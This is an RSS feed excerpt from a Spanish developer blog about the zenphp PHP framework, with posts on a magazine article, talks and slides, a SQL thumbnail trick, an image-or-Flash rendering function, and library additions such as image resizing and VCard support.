<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>zenphp :: blog &#187; Documentación</title>
	<atom:link href="http://blog.zenphp.es/category/documentacion/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.zenphp.es</link>
	<description>Escribre tu aplicación como si fuera la última que escribieras</description>
	<lastBuildDate>Tue, 02 Feb 2010 09:03:52 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Artículo en Novática sobre zenphp</title>
		<link>http://blog.zenphp.es/2010/02/02/articulo-en-novatica-sobre-zenphp/</link>
		<comments>http://blog.zenphp.es/2010/02/02/articulo-en-novatica-sobre-zenphp/#comments</comments>
		<pubDate>Tue, 02 Feb 2010 09:03:16 +0000</pubDate>
		<dc:creator>juaxix</dc:creator>
				<category><![CDATA[Documentación]]></category>
		<category><![CDATA[Noticias]]></category>
		<category><![CDATA[2008]]></category>
		<category><![CDATA[Indra]]></category>
		<category><![CDATA[Juan Belón]]></category>
		<category><![CDATA[artículo]]></category>
		<category><![CDATA[ati]]></category>
		<category><![CDATA[concurso]]></category>
		<category><![CDATA[novática]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[programador php]]></category>
		<category><![CDATA[revista]]></category>
		<category><![CDATA[software libre]]></category>
		<category><![CDATA[zenphp]]></category>

		<guid isPermaLink="false">http://blog.zenphp.es/?p=247</guid>
		<description><![CDATA[
He aparecido varias veces en esta revista con los proyectos que presenté en los concursos de software libre.
Como nunca he publicado mi artículo extendido sobre zenphp en la revista, aquí os muestro algunos detalles del mismo.
Tengo que decir que los editores de esta publicación son excelentes, tras varios correos fuimos depurando el artículo y gracias [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zenphp.es/wp-content/uploads/2010/02/novatica_portada.jpg"><img class="aligncenter size-medium wp-image-248" title="Portada Ati Novática 195" src="http://blog.zenphp.es/wp-content/uploads/2010/02/novatica_portada-244x300.jpg" alt="" width="244" height="300" /></a></p>
<p>He aparecido varias veces en esta revista con los proyectos que presenté en los concursos de software libre.</p>
<p>Como nunca he publicado mi artículo extendido sobre <strong><em>zenphp </em></strong>en la revista, aquí os muestro algunos detalles del mismo.</p>
<p>Tengo que decir que los editores de esta publicación son excelentes, tras varios correos fuimos depurando el artículo y gracias a su creatividad, concretamente de <strong>Llorenç Pagés</strong> (que actualemente trabaja para la misma empresa que uno de mis mejores amigos <img src='http://blog.zenphp.es/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> ), fuimos elaborando el resultado del que os muestro una intro <img src='http://blog.zenphp.es/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p><a href="http://blog.zenphp.es/wp-content/uploads/2010/02/intro_articulo.jpg"><img class="aligncenter size-medium wp-image-249" title="intro_articulo" src="http://blog.zenphp.es/wp-content/uploads/2010/02/intro_articulo-300x270.jpg" alt="" width="300" height="270" /></a><a href="http://blog.zenphp.es/wp-content/uploads/2010/02/mas_sobre_zenphp.gif"><img class="aligncenter size-medium wp-image-250" title="mas_sobre_zenphp" src="http://blog.zenphp.es/wp-content/uploads/2010/02/mas_sobre_zenphp-300x240.gif" alt="" width="300" height="240" /></a></p>
<p>está en la revista <strong>nº195 </strong>de <em>Ati &#8211; Novática</em>,página <strong>58 </strong>(<em>septiembre-octubre Año XXXIV</em>), lo que se puede hacer con este framework está en mi web de presentaciones como <strong>programador php</strong> : <strong><a href="http://programadorphp.org/portfolio/">Juan Belón</a></strong></p>
<span class="akst_link"><a href="http://blog.zenphp.es/?p=247&amp;akst_action=share-this"  title="E-mail this, post to del.icio.us, etc." id="akst_link_247"  class="akst_share_link">Compártelo</a>
</span>]]></content:encoded>
			<wfw:commentRss>http://blog.zenphp.es/2010/02/02/articulo-en-novatica-sobre-zenphp/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Más Documentación sobre Ingeniería del Software</title>
		<link>http://blog.zenphp.es/2009/12/27/mas-documentacion-sobre-ingenieria-del-software/</link>
		<comments>http://blog.zenphp.es/2009/12/27/mas-documentacion-sobre-ingenieria-del-software/#comments</comments>
		<pubDate>Sun, 27 Dec 2009 20:46:39 +0000</pubDate>
		<dc:creator>juaxix</dc:creator>
				<category><![CDATA[Documentación]]></category>
		<category><![CDATA[ingeniería del Software]]></category>
		<category><![CDATA[Arquitectura de la Información]]></category>
		<category><![CDATA[aplicaciones web]]></category>
		<category><![CDATA[información]]></category>
		<category><![CDATA[pdf]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[presentación]]></category>
		<category><![CDATA[programador php]]></category>
		<category><![CDATA[usabilidad]]></category>
		<category><![CDATA[zenphp]]></category>

		<guid isPermaLink="false">http://blog.zenphp.es/?p=238</guid>
		<description><![CDATA[
He estado subiendo todos los documentos que tenía en la Forja a la web de SlideShare, además de algunas charlas que he presentado, iré subiendo conforme vaya haciendo nuevas.
Por ejemplo he subido una presentación llamada &#8220;Depurando Javascript con Firebug&#8220;:
Depurando Java Script &#8211; Programador PHP
View more documents from Juan Belón Pérez.

e incluso la memoria del proyecto:
Memoria [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.programadorphp.org/"><img class="aligncenter" title="Diseño de procesos - Arquitectura de la Información" src="http://www.programadorphp.org/wp-content/uploads/2009/12/diseno-procesos.jpg" alt="" width="513" height="101" /></a></p>
<p>He estado subiendo todos los <a href="https://forja.rediris.es/docman/?group_id=252" target="_blank">documentos</a> que tenía en <a href="https://forja.rediris.es/projects/csl2-zenphp/" target="_blank">la Forja</a> a la web de <a href="http://www.slideshare.net/programadorphp" target="_blank">SlideShare</a>, además de algunas charlas que he presentado, iré subiendo conforme vaya haciendo nuevas.</p>
<p>Por ejemplo he subido una presentación llamada &#8220;<strong>Depurando Javascript con Firebug</strong>&#8220;:</p>
<div id="__ss_2699353" style="width: 425px;"><a style="font: 14px Helvetica,Arial,Sans-serif; display: block; margin: 12px 0 3px 0; text-decoration: underline;" title="Depurando Java Script - Programador PHP" href="http://www.slideshare.net/programadorphp/depurando-java-script-programador-php-2699353">Depurando Java Script &#8211; Programador PHP</a><object style="margin: 0px;" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="425" height="355" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowScriptAccess" value="always" /><param name="src" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=depurandojavascript-091211100310-phpapp02&amp;stripped_title=depurando-java-script-programador-php-2699353" /><param name="allowfullscreen" value="true" /><embed style="margin: 0px;" type="application/x-shockwave-flash" width="425" height="355" src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=depurandojavascript-091211100310-phpapp02&amp;stripped_title=depurando-java-script-programador-php-2699353" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<div style="font-size: 11px; font-family: tahoma,arial; height: 26px; padding-top: 2px;">View more <a style="text-decoration: underline;" href="http://www.slideshare.net/">documents</a> from <a style="text-decoration: underline;" href="http://www.slideshare.net/programadorphp">Juan Belón Pérez</a>.</div>
</div>
<p>e incluso la <strong>memoria </strong>del proyecto:</p>
<div id="__ss_2699372" style="width: 477px; text-align: left;"><a style="font: 14px Helvetica,Arial,Sans-serif; display: block; margin: 12px 0 3px 0; text-decoration: underline;" title="Memoria Zenphp - Programador PHP" href="http://www.slideshare.net/programadorphp/memoria-zenphp-programador-php">Memoria Zenphp &#8211; Programador PHP</a><object style="margin: 0px;" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="477" height="510" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowScriptAccess" value="always" /><param name="src" value="http://static.slidesharecdn.com/swf/ssplayerd.swf?doc=memoriazenphp-091211100433-phpapp02&amp;stripped_title=memoria-zenphp-programador-php" /><param name="allowfullscreen" value="true" /><embed style="margin: 0px;" type="application/x-shockwave-flash" width="477" height="510" src="http://static.slidesharecdn.com/swf/ssplayerd.swf?doc=memoriazenphp-091211100433-phpapp02&amp;stripped_title=memoria-zenphp-programador-php" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<div style="font-size: 11px; font-family: tahoma,arial; height: 26px; padding-top: 2px;">Ver más <a href="http://www.slideshare.net/programadorphp" target="_blank">presentaciones </a>from <a style="text-decoration: underline;" href="http://www.slideshare.net/programadorphp" target="_blank">Juan Belón Pérez</a>.</div>
</div>
<p>Si queréis mucha más información sobre<strong> Usabilidad y Arquitectura de la Información orientada a aplicaciones web,</strong> pasaros por la web <strong><a title="Ver el artículo de la AI, usabilidad en aplicaciones web" href="http://www.programadorphp.org/blog/usabilidad-y-arquitectura-de-la-informacion-de-las-aplicaciones-web/" target="_blank">Programador PHP.org</a></strong>.</p>
<span class="akst_link"><a href="http://blog.zenphp.es/?p=238&amp;akst_action=share-this"  title="E-mail this, post to del.icio.us, etc." id="akst_link_238"  class="akst_share_link">Compártelo</a>
</span>]]></content:encoded>
			<wfw:commentRss>http://blog.zenphp.es/2009/12/27/mas-documentacion-sobre-ingenieria-del-software/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Charlas en la ETSIIT &#8211; de la UGR</title>
		<link>http://blog.zenphp.es/2009/10/19/charlas-en-la-etsiit-de-la-ugr/</link>
		<comments>http://blog.zenphp.es/2009/10/19/charlas-en-la-etsiit-de-la-ugr/#comments</comments>
		<pubDate>Mon, 19 Oct 2009 15:34:43 +0000</pubDate>
		<dc:creator>juaxix</dc:creator>
				<category><![CDATA[Documentación]]></category>
		<category><![CDATA[Noticias]]></category>
		<category><![CDATA[charla]]></category>
		<category><![CDATA[charlas]]></category>
		<category><![CDATA[etsiit]]></category>
		<category><![CDATA[pdf]]></category>

		<guid isPermaLink="false">http://blog.zenphp.es/?p=223</guid>
		<description><![CDATA[
Aquí dejo el material de mi charla de Octubre en la Escuela (Facultad) de Informática de Granada sobre el framework zenphp.
Descargar / Ver presentación.
Compártelo
]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><img class="size-full wp-image-224 aligncenter" title="chats" src="http://blog.zenphp.es/wp-content/uploads/2009/10/chats.jpg" alt="chats" width="303" height="368" /></p>
<p>Aquí dejo el material de mi <a href="http://www.softwarelibre.net/cr%C3%B3nica_de_la_inauguraci%C3%B3n_de_los_talleres_de_sl_en_la_etsiit" target="_blank">charla</a> de <a href="http://osl.ugr.es/cursos-y-eventos/programacion-i-jornada-de-proyectos-de-software-libre/" target="_blank">Octubre</a> en la Escuela (Facultad) de Informática de Granada sobre el framework zenphp.</p>
<p><a title="En Google Docs" href="http://docs.google.com/present/edit?id=0AbcLc-_KAWUVZGZ6Z2s4Y2NfNjEzdmc2d2djeA&amp;hl=en" target="_blank">Descargar / Ver presentación</a>.</p>
<span class="akst_link"><a href="http://blog.zenphp.es/?p=223&amp;akst_action=share-this"  title="E-mail this, post to del.icio.us, etc." id="akst_link_223"  class="akst_share_link">Compártelo</a>
</span>]]></content:encoded>
			<wfw:commentRss>http://blog.zenphp.es/2009/10/19/charlas-en-la-etsiit-de-la-ugr/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Encontrar el equilibrio en las cosas pequeñas</title>
		<link>http://blog.zenphp.es/2008/11/07/encontrar-el-equilibrio-en-las-cosas-pequenas/</link>
		<comments>http://blog.zenphp.es/2008/11/07/encontrar-el-equilibrio-en-las-cosas-pequenas/#comments</comments>
		<pubDate>Fri, 07 Nov 2008 12:44:52 +0000</pubDate>
		<dc:creator>juaxix</dc:creator>
				<category><![CDATA[Documentación]]></category>
		<category><![CDATA[Funcionalidades]]></category>
		<category><![CDATA[General]]></category>
		<category><![CDATA[equilibrio]]></category>
		<category><![CDATA[imagen]]></category>
		<category><![CDATA[miniatura]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[thumbs]]></category>

		<guid isPermaLink="false">http://blog.zenphp.es/?p=183</guid>
		<description><![CDATA[
Siendo detallista y equilibrado encontraremos que nuestro trabajo se ha convertido en algo sumamente sencillo de mantener.
El caso más fundamental de lo que estoy hablando es cuando un cliente nos pide un nuevo cambio que requiere modificar, en este caso añadir un campo nuevo de imagen de miniatura a una tabla de noticias y,bien, ahora [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><img class="size-medium wp-image-184 aligncenter" title="ying_yang_sillon" src="http://blog.zenphp.es/wp-content/uploads/2008/11/ying_yang_sillon-300x202.jpg" alt="" width="300" height="202" /></p>
<p>Siendo detallista y equilibrado encontraremos que nuestro trabajo se ha convertido en algo sumamente sencillo de mantener.</p>
<p>El caso más fundamental de lo que estoy hablando es cuando un cliente nos pide un nuevo cambio que requiere modificar, en este caso añadir un campo nuevo de imagen de miniatura a una tabla de noticias y,bien, ahora tenemos que añadirlo en la interfaz de administración además de en la BD y en el cliente que habíamos escrito&#8230;</p>
<p>Sabemos que podemos implementar la lógica de administración fácilmente haciendo copio y pego de la parte del formulario de edición de la noticia cambiando el nombre por el del campo de la imagen ,guardado de ficheros, procesamiento de imágenes &#8220;thumbs&#8221; , etc.</p>
<p>Lo que debemos recordar es que podemos encontrar el equilibrio en el funcionamiento por medio de las sentencias IF de SQL, de modo que si ya teníamos un campo imagen y ahora lo que necesitamos es mostrar una miniatura pero no queremos cambiar el resto, simplemente modificamos la línea en la que se nombran los campos para realizar las operaciones de la siguiente forma:</p>
<p>si antes se hacia un &#8220;Select imagen from noticias&#8221; ,ahora sólo tenemos que cambiar &#8220;imagen&#8221; por</p>
<p>IF(miniatura=&#8221;,imagen,miniatura) as imagen</p>
<p>de forma que el resto de la lógica del programa se mantiene intacta, sólo hemos hecho un cambio más las operaciones básicas para administrar los datos con el campo <img src='http://blog.zenphp.es/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p style="text-align: center;"><img class="size-medium wp-image-185 aligncenter" title="panda" src="http://blog.zenphp.es/wp-content/uploads/2008/11/panda-300x295.jpg" alt="" width="300" height="295" /></p>
<p>Ahora sólo queda relajarse sabiendo que todo funciona sin quebrarnos demasiado la cabeza jeje</p>
<span class="akst_link"><a href="http://blog.zenphp.es/?p=183&amp;akst_action=share-this"  title="E-mail this, post to del.icio.us, etc." id="akst_link_183"  class="akst_share_link">Compártelo</a>
</span>]]></content:encoded>
			<wfw:commentRss>http://blog.zenphp.es/2008/11/07/encontrar-el-equilibrio-en-las-cosas-pequenas/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Howto: filtrar datos de forma avanzada pero pensando como un principiante</title>
		<link>http://blog.zenphp.es/2008/09/30/howto-filtrar-datos-de-forma-avanzada-pero-pensando-como-un-principiante/</link>
		<comments>http://blog.zenphp.es/2008/09/30/howto-filtrar-datos-de-forma-avanzada-pero-pensando-como-un-principiante/#comments</comments>
		<pubDate>Tue, 30 Sep 2008 11:14:34 +0000</pubDate>
		<dc:creator>juaxix</dc:creator>
				<category><![CDATA[Algoritmos]]></category>
		<category><![CDATA[Documentación]]></category>
		<category><![CDATA[Funcionalidades]]></category>
		<category><![CDATA[Sistema Gestor Contenidos]]></category>
		<category><![CDATA[datos]]></category>
		<category><![CDATA[filtrado]]></category>
		<category><![CDATA[filtros]]></category>
		<category><![CDATA[flash]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[imagen]]></category>
		<category><![CDATA[joker]]></category>
		<category><![CDATA[modelo de datos]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[swf]]></category>
		<category><![CDATA[trucos]]></category>
		<category><![CDATA[tupla]]></category>

		<guid isPermaLink="false">http://blog.zenphp.es/?p=173</guid>
		<description><![CDATA[
En principio, parece que el título del post es algo de lo más paradójico, pero nada más lejos de la realidad, en zenphp siempre hay un Joker, y éstos son los trucos que enseño en este blog, triquiñuelas rápidas y complejas pero fáciles de entender y modificar en poco tiempo.

Al escribir clases que reutilizan el [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><img class="alignnone size-full wp-image-174" title="joker" src="http://blog.zenphp.es/wp-content/uploads/2008/09/joker.jpg" alt="" width="380" height="380" /></p>
<p>En principio, parece que el título del post es algo de lo más paradójico, pero nada más lejos de la realidad, en zenphp siempre hay un Joker, y <strong>éstos son los trucos</strong> que enseño en este blog, triquiñuelas rápidas y complejas pero fáciles de entender y modificar en <em>poco tiempo</em>.</p>
<p><span id="more-173"></span></p>
<p>Al escribir clases que reutilizan el código de un modelo de datos de zenphp, uno se da cuenta de la facilidad con la que se pueden realizar ciertos aspectos técnicos como los filtrados de datos avanzados, de una forma realmente sencilla: en una línea de PHP.</p>
<p>Veamos como podemos diferenciar cuando un usuario manda un fichero mediante un modelo de datos (y su interfaz: el visualizador HTML) flash o una imagen y después representarlo con la plantilla que sea adecuada.</p>
<p>El campo imagen tiene el nombre del fichero .jpg,.png,.gif, o bien .swf. por lo tanto sólo tenemos que escribir una función donde queramos, por ejemplo, en mi caso me gusta ponerlas en el visualizador ya que el filtrado devuelto es una cadena HTML que escribe el &#8216;&lt;img src=&#8221;&#8230;&#8221;&gt;&#8217; o bien el HTML del código flash en javascript o el objeto que sea&#8230;</p>
<p>Veamos la función:</p>
<table class="hl-table" border="0" width="100%">
<tbody>
<tr>
<td class="hl-gutter" align="right" valign="top"> </td>
<td class="hl-main" valign="top">
<pre><span class="hl-reserved">function </span><span class="hl-identifier">detectar_imagen_o_flash</span><span class="hl-brackets">(</span><span class="hl-var">$campo</span><span class="hl-brackets">){
  </span><span class="hl-reserved">if </span><span class="hl-brackets">(</span><span class="hl-identifier">strtolower</span><span class="hl-brackets">(</span><span class="hl-identifier">substr</span><span class="hl-brackets">(</span><span class="hl-var">$campo</span><span class="hl-code">,-</span><span class="hl-number">3</span><span class="hl-code">,</span><span class="hl-number">3</span><span class="hl-brackets">))</span><span class="hl-code">==</span><span class="hl-quotes">"</span><span class="hl-string">swf</span><span class="hl-quotes">"</span><span class="hl-brackets">){
   </span><span class="hl-var">$p</span><span class="hl-code"> = </span><span class="hl-reserved">new </span><span class="hl-identifier">zen_plantilla</span><span class="hl-brackets">(</span><span class="hl-quotes">"</span><span class="hl-string">flash/producto.html</span><span class="hl-quotes">"</span><span class="hl-brackets">)</span><span class="hl-code">;
   </span><span class="hl-var">$p</span><span class="hl-code">-&gt;</span><span class="hl-identifier">reemplazar</span><span class="hl-brackets">(</span><span class="hl-quotes">"</span><span class="hl-string">flash</span><span class="hl-quotes">"</span><span class="hl-code">,</span><span class="hl-identifier">substr</span><span class="hl-brackets">(</span><span class="hl-var">$campo</span><span class="hl-code">,</span><span class="hl-number">0</span><span class="hl-code">,</span><span class="hl-identifier">strlen</span><span class="hl-brackets">(</span><span class="hl-var">$campo</span><span class="hl-brackets">)</span><span class="hl-code">-</span><span class="hl-number">4</span><span class="hl-brackets">))</span><span class="hl-code">;
   </span><span class="hl-reserved">return </span><span class="hl-var">$p</span><span class="hl-code">-&gt;</span><span class="hl-reserved">contenido</span><span class="hl-code">;
  </span><span class="hl-brackets">} </span><span class="hl-reserved">else </span><span class="hl-brackets">{
   </span><span class="hl-reserved">return </span><span class="hl-quotes">'</span><span class="hl-string">&lt;img src="/media/img/productos/</span><span class="hl-quotes">'</span><span class="hl-code">.</span><span class="hl-var">$campo</span><span class="hl-code">.</span><span class="hl-quotes">'</span><span class="hl-string">"&gt;</span><span class="hl-quotes">'</span><span class="hl-code">;
  </span><span class="hl-brackets">}
 }
</span><span class="hl-inlinetags">?&gt;</span></pre>
</td>
</tr>
</tbody>
</table>
<p> </p>
<p>Ahora, desde donde queramos podemos llamar al modelo de datos donde está la imagen y representarla por medio de su visualizador html, por ejemplo, desde el visualizador html principal de la aplicación de nuestro sistema, donde hemos definido el modelo de datos en una variable llamada $productos en la aplicación, por lo tanto las dos líneas que necesitamos son:</p>
<p> </p>
<p>$this-&gt;padre-&gt;productos-&gt;filtros_postprocesamiento = array(&#8220;imagen&#8221; =&gt; array($this-&gt;padre-&gt;productos-&gt;html,&#8221;detectar_imagen_o_flash&#8221;));</p>
<p><span> </span> $this-&gt;c['contenido'] = $this-&gt;padre-&gt;productos-&gt;html-&gt;mostrar($datos[1],&#8221;productos/ver_producto.html&#8221;);</p>
<p>La primera especifica para el padre de este visualizador html de la aplicación, en su variable productos que es el modelo, los filtros para después de cargar los datos de una tupla, al campo imagen le vamos a pasar el filtro de la función que hemos creado en el paso anterior, pero tenemos que especificar dónde está desde aquí, la ruta por la jerarquía de nuestra aplicación es tan sencilla como ir al padre luego al modelo y a su visualizador, allí está la función.</p>
<p>La segunda línea guarda en el array de contenido (puntero al array de la aplicacion-&gt;contenido) en la etiqueta del contenido de nuestra web, la visualización de datos de una tupla especificada por el id numérico que es la llave principal de la tabla del modelo de productos y le decimos la plantilla que vamos a usar, donde habrá un hueco para el campo llamado &#8220;#imagen#&#8221;.</p>
<p>Y así concluye este ejemplo, algo tan sencillo puede verse <a title="Ejemplo del filtrado" href="http://www.empresayjuventud.com/productos/frescos/9/Acelgas.html" target="_blank">funcionando.</a></p>
<p>Al detectarse una imagen ,se muestra &lt;img&gt; ,si es un flash se escribe el &lt;object&gt; con un &lt;script&gt;.</p>
<p>A triunfar!!</p>
<span class="akst_link"><a href="http://blog.zenphp.es/?p=173&amp;akst_action=share-this"  title="E-mail this, post to del.icio.us, etc." id="akst_link_173"  class="akst_share_link">Compártelo</a>
</span>]]></content:encoded>
			<wfw:commentRss>http://blog.zenphp.es/2008/09/30/howto-filtrar-datos-de-forma-avanzada-pero-pensando-como-un-principiante/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Detalles del Modelo Visualizador VS MVC</title>
		<link>http://blog.zenphp.es/2008/07/08/detalles-del-modelo-visualizador-vs-mvc/</link>
		<comments>http://blog.zenphp.es/2008/07/08/detalles-del-modelo-visualizador-vs-mvc/#comments</comments>
		<pubDate>Tue, 08 Jul 2008 11:31:41 +0000</pubDate>
		<dc:creator>juaxix</dc:creator>
				<category><![CDATA[Documentación]]></category>
		<category><![CDATA[Funcionalidades]]></category>
		<category><![CDATA[General]]></category>
		<category><![CDATA[controlador]]></category>
		<category><![CDATA[detalles]]></category>
		<category><![CDATA[diferencia]]></category>
		<category><![CDATA[modelo]]></category>
		<category><![CDATA[mvc]]></category>
		<category><![CDATA[vista]]></category>
		<category><![CDATA[visualizador]]></category>

		<guid isPermaLink="false">http://blog.zenphp.es/?p=154</guid>
		<description><![CDATA[
Acabo de estar mirando el nuevo modelo de datos de Joomla 1.5 junto con su controladores y vistas&#8230;es interesante sin embargo complicado y necesitas tener el manual cerca (a &#8220;mano&#8221;  ) porque no sabes nada de nada al estar dentro de una vista&#8230;si estás en una vista tipo &#8220;blog&#8221; de una categoría, cómo puedes [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><img class="alignnone size-medium wp-image-156 aligncenter" title="mvc" src="http://blog.zenphp.es/wp-content/uploads/2008/07/mvc2_es-300x190.png" alt="" width="300" height="190" /></p>
<p>Acabo de estar mirando el nuevo modelo de datos de Joomla 1.5 junto con su controladores y vistas&#8230;es interesante sin embargo complicado y necesitas tener el manual cerca (a &#8220;mano&#8221; <img src='http://blog.zenphp.es/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> ) porque no sabes nada de nada al estar dentro de una vista&#8230;si estás en una vista tipo &#8220;blog&#8221; de una categoría, cómo puedes conseguir la sección a la que pertenece? En algunos foros se discute el tema, acabando por hacer un nuevo y completo módulo o extensión también llamado para cubrir las necesidades&#8230;sólo por necesitar un identificador? &#8230;como veis parece absurdo tener una división que no te da libertad y crea más confusión&#8230;</p>
<p style="text-align: center;"><img class="alignnone size-medium wp-image-155 aligncenter" title="talisman-idea" src="http://blog.zenphp.es/wp-content/uploads/2008/07/talisman-idea-300x199.jpg" alt="" width="300" height="199" /></p>
<p>En zenphp está el modelo de datos donde están todos los datos que está comunicado con punteros con el resto de modelos de la aplicación y por otro lado está, asociado al modelo ,el visualizador, nunca perdemos nada de vista y todo es parametrizable y accesible fácilmente, casi no tenemos ni que usar el manual o la documentación&#8230;veis la pauta? notais la diferencia? ahi radica la potencia de hacer algo simple y que funciona&#8230;</p>
<p>Saludos!</p>
<span class="akst_link"><a href="http://blog.zenphp.es/?p=154&amp;akst_action=share-this"  title="E-mail this, post to del.icio.us, etc." id="akst_link_154"  class="akst_share_link">Compártelo</a>
</span>]]></content:encoded>
			<wfw:commentRss>http://blog.zenphp.es/2008/07/08/detalles-del-modelo-visualizador-vs-mvc/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Automatizando procesos de imágenes</title>
		<link>http://blog.zenphp.es/2008/05/20/automatizando-procesos-de-imagenes/</link>
		<comments>http://blog.zenphp.es/2008/05/20/automatizando-procesos-de-imagenes/#comments</comments>
		<pubDate>Tue, 20 May 2008 16:48:53 +0000</pubDate>
		<dc:creator>juaxix</dc:creator>
				<category><![CDATA[Documentación]]></category>
		<category><![CDATA[Funcionalidades]]></category>
		<category><![CDATA[Librerías]]></category>

		<guid isPermaLink="false">http://blog.zenphp.es/?p=139</guid>
		<description><![CDATA[
Normalmente, cuando subimos una imagen lo primero que necesitamos es redimensionarla, para ello he añadido una librería, tengo el soporte de BMP hecho pero no lo considero relevante, al menos no tanto como el de JPEG,PNG y GIF, fundamentales en la web que si vienen con la clase&#8230;:)
Un ejemplo se puede ver en la misma [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignnone size-full wp-image-143" title="product-icon1" src="http://blog.zenphp.es/wp-content/uploads/2008/05/product-icon1.png" alt="" width="205" height="152" /></p>
<p>Normalmente, cuando subimos una imagen lo primero que necesitamos es redimensionarla, para ello he añadido una librería, tengo el soporte de BMP hecho pero no lo considero relevante, al menos no tanto como el de JPEG,PNG y GIF, fundamentales en la web que si vienen con la clase&#8230;:)</p>
<p>Un ejemplo se puede ver en la <a title="Ver la clase y su sencillo ejemplo" href="https://forja.rediris.es/websvn/wsvn/csl2-zenphp/trunk/zenphp/librerias/clase_zen_Imagen.php?op=file&amp;rev=0&amp;sc=0" target="_blank">misma clase.</a></p>
<p><img class="alignnone size-full wp-image-140" title="redimension" src="http://blog.zenphp.es/wp-content/uploads/2008/05/redimension.jpg" alt="" width="500" height="191" /></p>
<p>Más sencillo no se puede oiga! <img src='http://blog.zenphp.es/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<span class="akst_link"><a href="http://blog.zenphp.es/?p=139&amp;akst_action=share-this"  title="E-mail this, post to del.icio.us, etc." id="akst_link_139"  class="akst_share_link">Compártelo</a>
</span>]]></content:encoded>
			<wfw:commentRss>http://blog.zenphp.es/2008/05/20/automatizando-procesos-de-imagenes/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Más Extras para completar zenphp:VCard y DHTML Calendar</title>
		<link>http://blog.zenphp.es/2008/05/13/mas-extras-para-completar-zenphp-vcards-y-dhtml-calendar/</link>
		<comments>http://blog.zenphp.es/2008/05/13/mas-extras-para-completar-zenphp-vcards-y-dhtml-calendar/#comments</comments>
		<pubDate>Tue, 13 May 2008 12:00:58 +0000</pubDate>
		<dc:creator>juaxix</dc:creator>
				<category><![CDATA[Documentación]]></category>
		<category><![CDATA[Funcionalidades]]></category>
		<category><![CDATA[Generadores]]></category>

		<guid isPermaLink="false">http://blog.zenphp.es/?p=133</guid>
		<description><![CDATA[Como he visto que faltaban algunas cuestiones extras, las he añadido:

 soporte para VCards [código][ejemplo]
Podeis hacer uso de &#8220;apt-get install 2vcard&#8221; para hacer vuestras conversiones de libros de direcciones a VCards.
Calendarios en DHTML para insertar en formularios [descargar DHTML Calendar][ejemplo]

Una captura:

Espero que os sirvan, como siempre  
Compártelo
]]></description>
			<content:encoded><![CDATA[<p>Como he visto que faltaban algunas cuestiones extras, las he añadido:</p>
<ul>
<li><a href="http://blog.zenphp.es/wp-content/uploads/2008/05/vcardicon.jpg"><img class="alignnone size-full wp-image-135" title="vcardicon" src="http://blog.zenphp.es/wp-content/uploads/2008/05/vcardicon.jpg" alt="" width="128" height="128" /></a> soporte para <a href="http://es.wikipedia.org/wiki/VCard" target="_blank">VCards</a> [<a href="https://forja.rediris.es/websvn/wsvn/csl2-zenphp/trunk/zenphp/librerias/clase_VCard.php?op=file&amp;rev=0&amp;sc=0" target="_blank">código</a>][<a href="https://forja.rediris.es/forum/forum.php?thread_id=1320&amp;forum_id=821" target="_blank">ejemplo</a>]<br />
Podeis hacer uso de &#8220;apt-get install 2vcard&#8221; para hacer vuestras conversiones de libros de direcciones a VCards.</li>
<li><a href="http://blog.zenphp.es/wp-content/uploads/2008/05/ical.png"><img class="alignnone size-full wp-image-134" title="ical" src="http://blog.zenphp.es/wp-content/uploads/2008/05/ical.png" alt="" width="128" height="128" /></a>Calendarios en DHTML para insertar en formularios [<a href="http://www.dynarch.com/projects/calendar/" target="_blank">descargar DHTML Calendar</a>][<a href="https://forja.rediris.es/forum/forum.php?thread_id=1321&amp;forum_id=821" target="_blank">ejemplo</a>]</li>
</ul>
